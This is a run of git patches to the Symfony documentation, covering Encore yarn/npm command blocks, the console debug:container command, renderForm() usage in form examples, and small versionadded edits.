 console/coloring.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/console/coloring.rst b/console/coloring.rst
index 15dc7eed0a5..25bfc76298b 100644
--- a/console/coloring.rst
+++ b/console/coloring.rst
@@ -75,13 +75,13 @@ commonly used when asking the user to type sensitive information).
 
 You can also set these colors and options directly inside the tag name::
 
-    // green text
+    // using named colors
     $output->writeln('<fg=green>foo</>');
 
-    // red text
+    // using hexadecimal colors
     $output->writeln('<fg=#c0392b>foo</>');
 
-    // chartreuse text
+    // using RGB colors
     $output->writeln('<fg=rgb(127, 255, 0)>foo</>');
 
     // black text on a cyan background

From 0483ed6e0350f24df8a3c1d698b071cd4f6ebfbb Mon Sep 17 00:00:00 2001
From: Ali Zahedi <ali.zahedi1371@gmail.com>
Date: Wed, 15 Sep 2021 11:37:19 +0430
Subject: [PATCH 1150/5766] Update debug.rst

The service ID should not be surrounded by a single quote.
---
 service_container/debug.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/debug.rst b/service_container/debug.rst
index 635bbdfa9ae..e949f6234f9 100644
--- a/service_container/debug.rst
+++ b/service_container/debug.rst
@@ -29,7 +29,7 @@ its id:
 
 .. code-block:: terminal
 
-    $ php bin/console debug:container 'App\Service\Mailer'
+    $ php bin/console debug:container App\Service\Mailer
 
     # to show the service arguments:
-    $ php bin/console debug:container 'App\Service\Mailer' --show-arguments
+    $ php bin/console debug:container App\Service\Mailer --show-arguments

From 65a32a6aecd38c27041e4df11e90ea9d6a0158f8 Mon Sep 17 00:00:00 2001
From: JakeFr <JakeFr@users.noreply.github.com>
Date: Tue, 17 Aug 2021 18:23:32 +0200
Subject: [PATCH 1151/5766] [OptionsResolver] Fix code sample for chaining

OptionConfigurator::allowedValues is a variadic function.
---
 components/options_resolver.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 37e14d5418a..85f6c17a695 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -883,7 +883,7 @@ method::
             $resolver->define('transport')
                 ->required()
                 ->default('transport')
-                ->allowedValues(['sendmail', 'mail', 'smtp']);
+                ->allowedValues('sendmail', 'mail', 'smtp');
         }
     }
 

From 895b84070bfa7441e2cfb01bcf5ddfb7bb82007f Mon Sep 17 00:00:00 2001
From: JakeFr <JakeFr@users.noreply.github.com>
Date: Sun, 22 Aug 2021 15:32:47 +0200
Subject: [PATCH 1152/5766] Update notifier.rst

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 1ef5b5521f7..c552d757dff 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -529,7 +529,7 @@ sent using the Slack transport::
                 ->content('You got a new invoice for 15 EUR.')
                 ->importance(Notification::IMPORTANCE_HIGH);
 
-            $notifier->send($notification, new Recipient('wouter@example.com'));
+            $notifier->send($notification, new Recipient('wouter@wouterj.nl'));
 
             // ...
         }

From a749db1082f18cb03427b8dbd104c87719c27673 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 Sep 2021 16:31:11 +0200
Subject: [PATCH 1153/5766] Revert an unneeded change

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index c552d757dff..1ef5b5521f7 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -529,7 +529,7 @@ sent using the Slack transport::
                 ->content('You got a new invoice for 15 EUR.')
                 ->importance(Notification::IMPORTANCE_HIGH);
 
-            $notifier->send($notification, new Recipient('wouter@wouterj.nl'));
+            $notifier->send($notification, new Recipient('wouter@example.com'));
 
             // ...
         }

From 5eda32cc5dbd896757e5aa2ba1f365a8c61cc018 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 Sep 2021 17:09:07 +0200
Subject: [PATCH 1154/5766] Tweak formatting

---
 frontend/encore/advanced-config.rst | 12 ++---
 frontend/encore/bootstrap.rst       | 28 +++++------
 frontend/encore/dev-server.rst      | 24 ++++-----
 frontend/encore/installation.rst    | 26 +++++-----
 frontend/encore/postcss.rst         | 12 ++---
 frontend/encore/reactjs.rst         | 13 ++---
 frontend/encore/simple-example.rst  | 76 ++++++++++++++---------------
 frontend/encore/url-loader.rst      | 12 ++---
 frontend/encore/vuejs.rst           | 12 ++---
 9 files changed, 94 insertions(+), 121 deletions(-)

diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index 7e5403a9a60..021fc25ce24 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -103,15 +103,13 @@ state of the current configuration to build a new one:
 When running Encore, both configurations will be built in parallel. If you
 prefer to build configs separately, pass the ``--config-name`` option:
 
-.. configuration-block::
+.. code-block:: terminal
 
-    .. code-block:: terminal
+    # if you use the Yarn package manager
+    $ yarn encore dev --config-name firstConfig
 
-        $ yarn encore dev --config-name firstConfig
-
-    .. code-block:: terminal
-
-        $ npm run dev -- --config-name firstConfig
+    # if you use the npm package manager
+    $ npm run dev -- --config-name firstConfig
 
 Next, define the output directories of each build:
 
diff --git a/frontend/encore/bootstrap.rst b/frontend/encore/bootstrap.rst
index 1051b386032..ec7ecda5b01 100644
--- a/frontend/encore/bootstrap.rst
+++ b/frontend/encore/bootstrap.rst
@@ -5,15 +5,13 @@ This article explains how to install and integrate the `Bootstrap CSS framework`
 in your Symfony application using :doc:`Webpack Encore </frontend>`.
 First, to be able to customize things further, we'll install ``bootstrap``:
 
-.. configuration-block::
+.. code-block:: terminal
 
-    .. code-block:: terminal
+    # if you use the Yarn package manager
+    $ yarn add bootstrap --dev
 
-        $ yarn add bootstrap --dev
-
-    .. code-block:: terminal
-
-        $ npm install bootstrap --save-dev
+    # if you use the npm package manager
+    $ npm install bootstrap --save-dev
 
 Importing Bootstrap Styles
 --------------------------
@@ -46,17 +44,15 @@ Importing Bootstrap JavaScript
 First, install the JavaScript dependencies required by the Bootstrap version
 used in your application:
 
-.. configuration-block::
-
-    .. code-block:: terminal
-
-        // jQuery is only required in versions prior to Bootstrap 5
-        $ yarn add jquery @popperjs/core --dev
+.. code-block:: terminal
 
-    .. code-block:: terminal
+    # if you use the Yarn package manager
+    # (jQuery is only required in versions prior to Bootstrap 5)
+    $ yarn add jquery @popperjs/core --dev
 
-        // jQuery is only required in versions prior to Bootstrap 5
-        $ npm install jquery @popperjs/core --save-dev
+    # if you use the npm package manager
+    # (jQuery is only required in versions prior to Bootstrap 5)
+    $ npm install jquery @popperjs/core --save-dev
 
 Now, require bootstrap from any of your JavaScript files:
 
diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 16530c40dac..e61fb98fc64 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -4,15 +4,13 @@ Using webpack-dev-server and HMR
 While developing, instead of using ``yarn encore dev --watch``, you can use the
 `webpack-dev-server`_:
 
-.. configuration-block::
-
-    .. code-block:: terminal
-
-        $ yarn encore dev-server
+.. code-block:: terminal
 
-    .. code-block:: terminal
+    # if you use the Yarn package manager
+    $ yarn encore dev-server
 
-        $ npm run dev-server
+    # if you use the npm package manager
+    $ npm run dev-server
 
 This builds and serves the front-end assets from a new server. This server runs at
 ``localhost:8080`` by default, meaning your build assets are available at ``localhost:8080/build``.
@@ -27,15 +25,13 @@ you're done: the paths in your templates will automatically point to the dev ser
 The ``dev-server`` command supports all the options defined by `webpack-dev-server`_.
 You can set these options via command line options:
 
-.. configuration-block::
-
-    .. code-block:: terminal
-
-        $ yarn encore dev-server --https --port 9000
+.. code-block:: terminal
 
-    .. code-block:: terminal
+    # if you use the Yarn package manager
+    $ yarn encore dev-server --https --port 9000
 
-        $ npm run dev-server -- --https --port 9000
+    # if you use the npm package manager
+    $ npm run dev-server -- --https --port 9000
 
 You can also set these options using the ``Encore.configureDevServerOptions()``
 method in your ``webpack.config.js`` file:
diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index 90d8daa0348..4985ec4d3f3 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -11,17 +11,15 @@ Installing Encore in Symfony Applications
 Run these commands to install both the PHP and JavaScript dependencies in your
 project:
 
-.. configuration-block::
+.. code-block:: terminal
 
-    .. code-block:: terminal
+    $ composer require symfony/webpack-encore-bundle
 
-        $ composer require symfony/webpack-encore-bundle
-        $ yarn install
+    # if you use the Yarn package manager
+    $ yarn install
 
-    .. code-block:: terminal
-
-        $ composer require symfony/webpack-encore-bundle
-        $ npm install
+    # if you use the npm package manager
+    $ npm install
 
 If you are using :ref:`Symfony Flex <symfony-flex>`, this will install and enable
 the `WebpackEncoreBundle`_, create the ``assets/`` directory, add a
@@ -37,15 +35,13 @@ Installing Encore in non Symfony Applications
 
 Install Encore into your project via Yarn:
 
-.. configuration-block::
-
-    .. code-block:: terminal
-
-        $ yarn add @symfony/webpack-encore --dev
+.. code-block:: terminal
 
-    .. code-block:: terminal
+    # if you use the Yarn package manager
+    $ yarn add @symfony/webpack-encore --dev
 
-        $ npm install @symfony/webpack-encore --save-dev
+    # if you use the npm package manager
+    $ npm install @symfony/webpack-encore --save-dev
 
 This command creates (or modifies) a ``package.json`` file and downloads
 dependencies into a ``node_modules/`` directory. Yarn also creates/updates a
diff --git a/frontend/encore/postcss.rst b/frontend/encore/postcss.rst
index 2a859e7a109..86327e720f1 100644
--- a/frontend/encore/postcss.rst
+++ b/frontend/encore/postcss.rst
@@ -21,15 +21,13 @@ Encore, you're done!
 
 Next, download any plugins you want, like ``autoprefixer``:
 
-.. configuration-block::
+.. code-block:: terminal
 
-  .. code-block:: terminal
+    # if you use the Yarn package manager
+    $ yarn add autoprefixer --dev
 
-      $ yarn add autoprefixer --dev
-
-  .. code-block:: terminal
-
-      $ npm install autoprefixer --save-dev
+    # if you use the npm package manager
+    $ npm install autoprefixer --save-dev
 
 Next, create a ``postcss.config.js`` file at the root of your project:
 
diff --git a/frontend/encore/reactjs.rst b/frontend/encore/reactjs.rst
index 29a3093fe7a..96f45a09f5b 100644
--- a/frontend/encore/reactjs.rst
+++ b/frontend/encore/reactjs.rst
@@ -8,16 +8,13 @@ Enabling React.js
 
 Using React? First add some dependencies with Yarn:
 
+.. code-block:: terminal
 
-.. configuration-block::
+    # if you use the Yarn package manager
+    $ yarn add react react-dom prop-types
 
-    .. code-block:: terminal
-
-        $ yarn add react react-dom prop-types
-
-    .. code-block:: terminal
-
-        $ npm install react react-dom prop-types --save
+    # if you use the npm package manager
+    $ npm install react react-dom prop-types --save
 
 Enable react in your ``webpack.config.js``:
 
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 3d6f0691e51..8d26987bdb5 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -57,31 +57,34 @@ together and - thanks to the first ``app`` argument - output final ``app.js`` an
 
 .. _encore-build-assets:
 
-To build the assets, run:
+To build the assets, run the following if you use the Yarn package manager:
 
-.. configuration-block::
+.. code-block:: terminal
+
+    # compile assets once
+    $ yarn encore dev
 
-    .. code-block:: terminal
+    # or, recompile assets automatically when files change
+    $ yarn encore dev --watch
 
-        # compile assets once
-        $ yarn encore dev
+    # on deploy, create a production build
+    $ yarn encore production
 
-        # or, recompile assets automatically when files change
-        $ yarn encore dev --watch
+    # if you use the npm package manager
+    $ npm install react react-dom prop-types --save
 
-        # on deploy, create a production build
-        $ yarn encore production
+If you use the npm package manager, run the following commands instead:
 
-    .. code-block:: terminal
+.. code-block:: terminal
 
-        # compile assets once
-        $ npm run dev
+    # compile assets once
+    $ npm run dev
 
-        # or, recompile assets automatically when files change
-        $ npm run watch
+    # or, recompile assets automatically when files change
+    $ npm run watch
 
-        # on deploy, create a production build
-        $ npm run build
+    # on deploy, create a production build
+    $ npm run build
 
 .. note::
 
@@ -166,15 +169,13 @@ files. First, create a file that exports a function:
 
 We'll use jQuery to print this message on the page. Install it via:
 
-.. configuration-block::
-
-    .. code-block:: terminal
-
-        $ yarn add jquery --dev
+.. code-block:: terminal
 
-    .. code-block:: terminal
+    # if you use the Yarn package manager
+    $ yarn add jquery --dev
 
-        $ npm install jquery --save-dev
+    # if you use the npm package manager
+    $ npm install jquery --save-dev
 
 Great! Use ``require()`` to import ``jquery`` and ``greet.js``:
 
@@ -264,16 +265,13 @@ Next, use ``addEntry()`` to tell Webpack to read these two new files when it bui
 And because you just changed the ``webpack.config.js`` file, make sure to stop
 and restart Encore:
 
+.. code-block:: terminal
 
-.. configuration-block::
-
-    .. code-block:: terminal
-
-        $ yarn run encore dev --watch
-
-    .. code-block:: terminal
+    # if you use the Yarn package manager
+    $ yarn run encore dev --watch
 
-        $ npm run watch
+    # if you use the npm package manager
+    $ npm run watch
 
 Webpack will now output a new ``checkout.js`` file and a new ``account.js`` file
 in your build directory. And, if any of those files require/import CSS, Webpack
@@ -340,17 +338,15 @@ Encore. When you do, you'll see an error!
 Encore supports many features. But, instead of forcing all of them on you, when
 you need a feature, Encore will tell you what you need to install. Run:
 
-.. configuration-block::
-
-    .. code-block:: terminal
-
-        $ yarn add sass-loader@^10.0.0 sass --dev
-        $ yarn encore dev --watch
+.. code-block:: terminal
 
-    .. code-block:: terminal
+    # if you use the Yarn package manager
+    $ yarn add sass-loader@^10.0.0 sass --dev
+    $ yarn encore dev --watch
 
-        $ npm install sass-loader@^10.0.0 sass --save-dev
-        $ npm run watch
+    # if you use the npm package manager
+    $ npm install sass-loader@^10.0.0 sass --save-dev
+    $ npm run watch
 
 Your app now supports Sass. Encore also supports LESS and Stylus. See
 :doc:`/frontend/encore/css-preprocessors`.
diff --git a/frontend/encore/url-loader.rst b/frontend/encore/url-loader.rst
index 7b0d9595797..5242d3fcb1d 100644
--- a/frontend/encore/url-loader.rst
+++ b/frontend/encore/url-loader.rst
@@ -8,15 +8,13 @@ generated CSS files.
 Webpack Encore provides this feature via Webpack's `URL Loader`_ plugin, but
 it's disabled by default. First, add the URL loader to your project:
 
-.. configuration-block::
+.. code-block:: terminal
 
-    .. code-block:: terminal
+    # if you use the Yarn package manager
+    $ yarn add url-loader --dev
 
-        $ yarn add url-loader --dev
-
-    .. code-block:: terminal
-
-        $ npm install url-loader --save-dev
+    # if you use the npm package manager
+    $ npm install url-loader --save-dev
 
 Then enable it in your ``webpack.config.js``:
 
diff --git a/frontend/encore/vuejs.rst b/frontend/encore/vuejs.rst
index 3ed2edc5f88..a4162e00b65 100644
--- a/frontend/encore/vuejs.rst
+++ b/frontend/encore/vuejs.rst
@@ -35,15 +35,13 @@ The ``vue-loader`` supports hot module replacement: just update your code and wa
 your Vue.js app update *without* a browser refresh! To activate it, use the
 ``dev-server`` with the ``--hot`` option:
 
-.. configuration-block::
+.. code-block:: terminal
 
-    .. code-block:: terminal
+    # if you use the Yarn package manager
+    $ yarn encore dev-server --hot
 
-        $ yarn encore dev-server --hot
-
-    .. code-block:: terminal
-
-        $ npm run dev-server -- --hot
+    # if you use the npm package manager
+    $ npm run dev-server -- --hot
 
 That's it! Change one of your ``.vue`` files and watch your browser update. But
 note: this does *not* currently work for *style* changes in a ``.vue`` file. Seeing

From 6d6ad2e85b166f69db0c395550eedd130413eb97 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Sep 2021 09:22:40 +0200
Subject: [PATCH 1155/5766] Minor tweak

---
 components/yaml.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/components/yaml.rst b/components/yaml.rst
index c902ee66ddf..46327c39e74 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -433,11 +433,12 @@ Then, execute the script for validating contents:
     # or contents passed to STDIN
     $ cat path/to/file.yaml | php lint.php
 
-Use the `--exclude` option to exclude one or more specific files from multiple file list:
+    # you can also exclude one or more files from linting
+    $ php lint.php path/to/directory --exclude=path/to/directory/foo.yaml --exclude=path/to/directory/bar.yaml
 
-.. code-block:: terminal
+.. versionadded:: 5.4
 
-    $ php lint.php path/to/directory --exclude=path/to/directory/foo.yaml --exclude=path/to/directory/bar.yaml
+    The ``--exclude`` option was introduced in Symfony 5.4.
 
 The result is written to STDOUT and uses a plain text format by default.
 Add the ``--format`` option to get the output in JSON format:

From 7aa463f5ab8cdee0534508473617278fbd41bb25 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Sep 2021 09:23:15 +0200
Subject: [PATCH 1156/5766] Remove a versionadded directive

---
 components/yaml.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/yaml.rst b/components/yaml.rst
index 46327c39e74..817c0a252c0 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -436,10 +436,6 @@ Then, execute the script for validating contents:
     # you can also exclude one or more files from linting
     $ php lint.php path/to/directory --exclude=path/to/directory/foo.yaml --exclude=path/to/directory/bar.yaml
 
-.. versionadded:: 5.4
-
-    The ``--exclude`` option was introduced in Symfony 5.4.
-
 The result is written to STDOUT and uses a plain text format by default.
 Add the ``--format`` option to get the output in JSON format:
 

From da3aad12db481fa5f61098aa358c85e7f587a8d2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Sep 2021 11:00:19 +0200
Subject: [PATCH 1157/5766] Minor tweak

---
 configuration/multiple_kernels.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index 4bea4797349..80d799085e9 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -126,6 +126,8 @@ files so they don't collide with the files from ``src/Kernel.php``::
             // ... load only the config routes strictly needed for the API
         }
 
+        // If you need to run some logic to decide which bundles to load,
+        // you might prefer to use the registerBundles() method instead
         private function getBundlesPath(): string
         {
             // load only the bundles strictly needed for the API
@@ -133,6 +135,10 @@ files so they don't collide with the files from ``src/Kernel.php``::
         }
     }
 
+.. versionadded:: 5.4
+
+    The ``getBundlesPath()`` method was introduced in Symfony 5.4.
+
 Step 3) Define the Kernel Configuration
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From fe526126d1eeb9ef9c9772ac68ae962247c34799 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Sep 2021 11:00:43 +0200
Subject: [PATCH 1158/5766] Remove a versionadded directive

---
 configuration/multiple_kernels.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index 80d799085e9..0a9e5c5ca6d 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -135,10 +135,6 @@ files so they don't collide with the files from ``src/Kernel.php``::
         }
     }
 
-.. versionadded:: 5.4
-
-    The ``getBundlesPath()`` method was introduced in Symfony 5.4.
-
 Step 3) Define the Kernel Configuration
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 4b259cc8e783c167c5f415e530a21353d03a5093 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Sun, 14 Mar 2021 19:54:20 +0100
Subject: [PATCH 1159/5766] Replace render by new renderForm method in form
 documentation

---
 form/direct_submit.rst             |  4 +---
 form/dynamic_form_modification.rst |  5 +----
 form/form_collections.rst          |  4 +---
 forms.rst                          | 13 +++++++------
 4 files changed, 10 insertions(+), 16 deletions(-)

diff --git a/form/direct_submit.rst b/form/direct_submit.rst
index 92dc09c5de5..2d42c8116ec 100644
--- a/form/direct_submit.rst
+++ b/form/direct_submit.rst
@@ -29,9 +29,7 @@ control over when exactly your form is submitted and what data is passed to it::
             }
         }
 
-        return $this->render('task/new.html.twig', [
-            'form' => $form->createView(),
-        ]);
+        return $this->renderForm('task/new.html.twig', $form);
     }
 
 The list of fields submitted with the ``submit()`` method must be the same as
diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 7c52e5f3abd..e0b25e92190 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -534,10 +534,7 @@ your application. Assume that you have a sport meetup creation controller::
                 // ... save the meetup, redirect etc.
             }
 
-            return $this->render(
-                'meetup/create.html.twig',
-                ['form' => $form->createView()]
-            );
+            return $this->renderForm('meetup/create.html.twig', $form);
         }
 
         // ...
diff --git a/form/form_collections.rst b/form/form_collections.rst
index e35e1d8be67..3d7393ac9e4 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -164,9 +164,7 @@ In your controller, you'll create a new form from the ``TaskType``::
                 // ... do your form processing, like saving the Task and Tag entities
             }
 
-            return $this->render('task/new.html.twig', [
-                'form' => $form->createView(),
-            ]);
+            return $this->renderForm('task/new.html.twig', $form);
         }
     }
 
diff --git a/forms.rst b/forms.rst
index 3814caa0646..45d2c79b1e1 100644
--- a/forms.rst
+++ b/forms.rst
@@ -277,12 +277,15 @@ to build another object with the visual representation of the form::
 
             $form = $this->createForm(TaskType::class, $task);
 
-            return $this->render('task/new.html.twig', [
-                'form' => $form->createView(),
-            ]);
+            return $this->renderForm('task/new.html.twig', $form);
         }
     }
 
+.. versionadded:: 5.3
+
+    The ``renderForm`` method was introduced in Symfony 5.3, allowing to
+    return 422 HTTP status code if an invalid form is submitted.
+
 Then, use some :ref:`form helper functions <reference-form-twig-functions>` to
 render the form contents:
 
@@ -405,9 +408,7 @@ written into the form object::
                 return $this->redirectToRoute('task_success');
             }
 
-            return $this->render('task/new.html.twig', [
-                'form' => $form->createView(),
-            ]);
+            return $this->renderForm('task/new.html.twig', $form);
         }
     }
 

From 773e81648adc917f5d97f0cc332c5deb5355b40c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Apr 2021 17:14:19 +0200
Subject: [PATCH 1160/5766] More changes for forms

---
 components/form.rst         |  6 ++++++
 controller/upload_file.rst  |  4 +---
 form/form_customization.rst |  5 +++--
 forms.rst                   | 18 +++++++-----------
 4 files changed, 17 insertions(+), 16 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index 2b387ef326e..64551b72041 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -647,6 +647,12 @@ method:
             }
         }
 
+.. caution::
+
+    The form's ``createView()`` method should be called *after* ``handleRequest()`` is
+    called. Otherwise, when using :doc:`form events </form/events>`, changes done
+    in the ``*_SUBMIT`` events won't be applied to the view (like validation errors).
+
 This defines a common form "workflow", which contains 3 different possibilities:
 
 1) On the initial GET request (i.e. when the user "surfs" to your page),
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index edd17ed50dc..e908bf6e881 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -174,9 +174,7 @@ Finally, you need to update the code of the controller that handles the form::
                 return $this->redirectToRoute('app_product_list');
             }
 
-            return $this->render('product/new.html.twig', [
-                'form' => $form->createView(),
-            ]);
+            return $this->renderForm('product/new.html.twig', $form);
         }
     }
 
diff --git a/form/form_customization.rst b/form/form_customization.rst
index 69d0a97e61d..bcc48070e63 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -20,8 +20,9 @@ enough to render an entire form, including all its fields and error messages:
 
 .. code-block:: twig
 
-    {# form is a variable passed from the controller and created
-      by calling to the $form->createView() method #}
+    {# form is a variable passed from the controller via either
+      $this->renderForm('...', $form)
+      or $this->render('...', ['form' => $form->createView()]) #}
     {{ form(form) }}
 
 The next step is to use the :ref:`form_start() <reference-forms-twig-start>`,
diff --git a/forms.rst b/forms.rst
index 45d2c79b1e1..c1fc9c10bf3 100644
--- a/forms.rst
+++ b/forms.rst
@@ -255,9 +255,7 @@ the ``data_class`` option by adding the following to your form type class::
 Rendering Forms
 ---------------
 
-Now that the form has been created, the next step is to render it. Instead of
-passing the entire form object to the template, use the ``createView()`` method
-to build another object with the visual representation of the form::
+Now that the form has been created, the next step is to render it::
 
     // src/Controller/TaskController.php
     namespace App\Controller;
@@ -281,10 +279,14 @@ to build another object with the visual representation of the form::
         }
     }
 
+In versions prior to Symfony 5.3, controllers used the method
+``$this->render('...', ['form' => $form->createView()])`` to render the form.
+The ``renderForm()`` method abstracts this logic and it also sets the 422 HTTP
+status code in the response automatically when the submitted form is not valid.
+
 .. versionadded:: 5.3
 
-    The ``renderForm`` method was introduced in Symfony 5.3, allowing to
-    return 422 HTTP status code if an invalid form is submitted.
+    The ``renderForm()`` method was introduced in Symfony 5.3.
 
 Then, use some :ref:`form helper functions <reference-form-twig-functions>` to
 render the form contents:
@@ -438,12 +440,6 @@ possible paths:
     that prevents the user from being able to hit the "Refresh" button of
     their browser and re-post the data.
 
-.. caution::
-
-    The ``createView()`` method should be called *after* ``handleRequest()`` is
-    called. Otherwise, when using :doc:`form events </form/events>`, changes done
-    in the ``*_SUBMIT`` events won't be applied to the view (like validation errors).
-
 .. seealso::
 
     If you need more control over exactly when your form is submitted or which

From fdb7b6747ec0e39d51b15537d508ab0bdcb7ab16 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Sep 2021 11:26:05 +0200
Subject: [PATCH 1161/5766] Update code to the latest helper behavior

---
 controller/upload_file.rst         | 4 +++-
 form/direct_submit.rst             | 4 +++-
 form/dynamic_form_modification.rst | 4 +++-
 form/form_collections.rst          | 4 +++-
 form/form_customization.rst        | 2 +-
 forms.rst                          | 8 ++++++--
 6 files changed, 19 insertions(+), 7 deletions(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index e908bf6e881..2abf1dc34c0 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -174,7 +174,9 @@ Finally, you need to update the code of the controller that handles the form::
                 return $this->redirectToRoute('app_product_list');
             }
 
-            return $this->renderForm('product/new.html.twig', $form);
+            return $this->renderForm('product/new.html.twig', [
+                'form' => $form,
+            ]);
         }
     }
 
diff --git a/form/direct_submit.rst b/form/direct_submit.rst
index 2d42c8116ec..a7c623dad19 100644
--- a/form/direct_submit.rst
+++ b/form/direct_submit.rst
@@ -29,7 +29,9 @@ control over when exactly your form is submitted and what data is passed to it::
             }
         }
 
-        return $this->renderForm('task/new.html.twig', $form);
+        return $this->renderForm('task/new.html.twig', [
+            'form' => $form,
+        ]);
     }
 
 The list of fields submitted with the ``submit()`` method must be the same as
diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index e0b25e92190..afc1b48236a 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -534,7 +534,9 @@ your application. Assume that you have a sport meetup creation controller::
                 // ... save the meetup, redirect etc.
             }
 
-            return $this->renderForm('meetup/create.html.twig', $form);
+            return $this->renderForm('meetup/create.html.twig', [
+                'form' => $form,
+            ]);
         }
 
         // ...
diff --git a/form/form_collections.rst b/form/form_collections.rst
index 3d7393ac9e4..c58bf996235 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -164,7 +164,9 @@ In your controller, you'll create a new form from the ``TaskType``::
                 // ... do your form processing, like saving the Task and Tag entities
             }
 
-            return $this->renderForm('task/new.html.twig', $form);
+            return $this->renderForm('task/new.html.twig', [
+                'form' => $form,
+            ]);
         }
     }
 
diff --git a/form/form_customization.rst b/form/form_customization.rst
index bcc48070e63..98f8d433ce8 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -21,7 +21,7 @@ enough to render an entire form, including all its fields and error messages:
 .. code-block:: twig
 
     {# form is a variable passed from the controller via either
-      $this->renderForm('...', $form)
+      $this->renderForm('...', ['form' => $form])
       or $this->render('...', ['form' => $form->createView()]) #}
     {{ form(form) }}
 
diff --git a/forms.rst b/forms.rst
index c1fc9c10bf3..74fef0b6600 100644
--- a/forms.rst
+++ b/forms.rst
@@ -275,7 +275,9 @@ Now that the form has been created, the next step is to render it::
 
             $form = $this->createForm(TaskType::class, $task);
 
-            return $this->renderForm('task/new.html.twig', $form);
+            return $this->renderForm('task/new.html.twig', [
+                'form' => $form,
+            ]);
         }
     }
 
@@ -410,7 +412,9 @@ written into the form object::
                 return $this->redirectToRoute('task_success');
             }
 
-            return $this->renderForm('task/new.html.twig', $form);
+            return $this->renderForm('task/new.html.twig', [
+                'form' => $form,
+            ]);
         }
     }
 

From 1cd1425731cbb9e7cb6e29a3091dc0c25bdb7ae0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Sep 2021 11:58:42 +0200
Subject: [PATCH 1162/5766] Remove a versionadded directive

---
 forms.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/forms.rst b/forms.rst
index d3752971f17..769e40e9202 100644
--- a/forms.rst
+++ b/forms.rst
@@ -286,10 +286,6 @@ In versions prior to Symfony 5.3, controllers used the method
 The ``renderForm()`` method abstracts this logic and it also sets the 422 HTTP
 status code in the response automatically when the submitted form is not valid.
 
-.. versionadded:: 5.3
-
-    The ``renderForm()`` method was introduced in Symfony 5.3.
-
 Then, use some :ref:`form helper functions <reference-form-twig-functions>` to
 render the form contents:
 

From 68c76e5659deaa6cc87dd904150e7b747394c7d8 Mon Sep 17 00:00:00 2001
From: Jorge Sepulveda <jorluiseptor@gmail.com>
Date: Sat, 14 Aug 2021 08:32:47 -0400
Subject: [PATCH 1163/5766] Update copy-files.rst

I believe the documentation is wrong. Webpack copies the images into build/images, not build/.
---
 frontend/encore/copy-files.rst | 8 ++++----
